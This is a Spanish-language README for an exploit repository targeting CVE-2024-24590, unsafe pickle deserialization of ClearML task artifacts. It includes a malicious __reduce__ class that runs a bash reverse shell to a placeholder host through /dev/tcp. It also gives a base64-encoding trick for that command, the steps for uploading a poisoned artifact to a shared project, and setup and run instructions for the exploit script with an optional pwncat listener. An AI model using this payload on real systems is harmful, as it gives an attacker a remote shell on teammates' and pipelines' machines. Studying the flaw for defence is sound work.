CVE-2024-24590 – ClearML RCE mediante deserialización insegura de artefactos pickle (0.17.0–1.14.2)
| Campo | Detalles |
|---|
| CVE | CVE-2024-24590 |
| Software | ClearML |
| Versiones afectadas | 0.17.0 – 1.14.2 |
| Vulnerabilidad | Deserialización insegura de pickle de artefactos de tareas |
| Autenticación | Requiere acceso de escritura a un proyecto ClearML |
| Impacto | Ejecución remota de código en cualquier máquina que cargue el artefacto |
| Probado en | Ubuntu 22.04, Python 3.9+ |
ClearML es una plataforma MLOps utilizada para rastrear experimentos, gestionar conjuntos de datos y compartir artefactos (modelos, archivos, objetos) entre miembros del equipo. Cuando un artefacto de tarea se sube como un objeto Python, ClearML lo serializa utilizando el módulo pickle de Python. Cuando otro usuario descarga y carga ese artefacto, ClearML lo deserializa — también con pickle — sin ninguna verificación de integridad ni lista blanca de clases.
Un atacante con acceso de escritura a un proyecto ClearML compartido puede subir un artefacto malicioso que contenga un método __reduce__ sobrescrito. Cualquier miembro del equipo o pipeline automatizado que obtenga y cargue ese artefacto ejecutará la carga útil del atacante durante la deserialización, logrando RCE en su máquina.
El módulo pickle de Python es fundamentalmente inseguro para entrada no confiable. El método mágico __reduce__ en una clase controla cómo se reconstruye durante la deserialización — puede devolver cualquier invocable y argumentos, incluyendo os.system:
class exploit:
def __reduce__(self):
return os.system, ("bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'",)
Cuando se picklea y luego se despiclea, Python llama a os.system(cmd) como parte de la reconstrucción del objeto — antes de que el invocador tenga alguna oportunidad de inspeccionar el objeto.
Atacante (acceso de escritura al proyecto)
│
▼
task = Task.init(project_name="shared-project", task_name="exploit")
task.upload_artifact("model", artifact_object=exploit())
│
▼
El servidor ClearML almacena el artefacto como un blob binario pickeado
│
▼
Víctima obtiene el artefacto (pipeline automatizado / revisión manual)
task.artifacts["model"].get()
│
▼
pickle.loads(blob) → __reduce__ se dispara → os.system(reverse_shell_cmd)
│
▼
Shell inverso se conecta de vuelta al atacante
El comando de shell inverso se codifica en Base64 antes de incrustarlo para evitar problemas de quoting en la cadena serializada:
bash_cmd = f'bash -c "bash -i >& /dev/tcp/{ip}/{port} 0>&1"'
b64 = base64.b64encode(bash_cmd.encode()).decode()
cmd = f'echo {b64} | base64 -d | sh'
git clone https://github.com/rippsec/CVE-2024-24590-ClearML-RCE-Exploit.git
cd CVE-2024-24590-ClearML-RCE-Exploit
pip install -r requirements.txt
Requisitos: clearml, pwntools, colorama
python3 exploit.py
El menú interactivo guía a través de dos pasos:
Paso 1 — Inicializar ClearML (opción 1)
Ejecuta clearml-init para configurar las credenciales para el servidor ClearML objetivo. Primero realiza una copia de seguridad de cualquier ~/clearml.conf existente.
Paso 2 — Ejecutar exploit (opción 2)
Solicita:
Opcionalmente inicia un listener pwncat automáticamente antes de subir el artefacto.
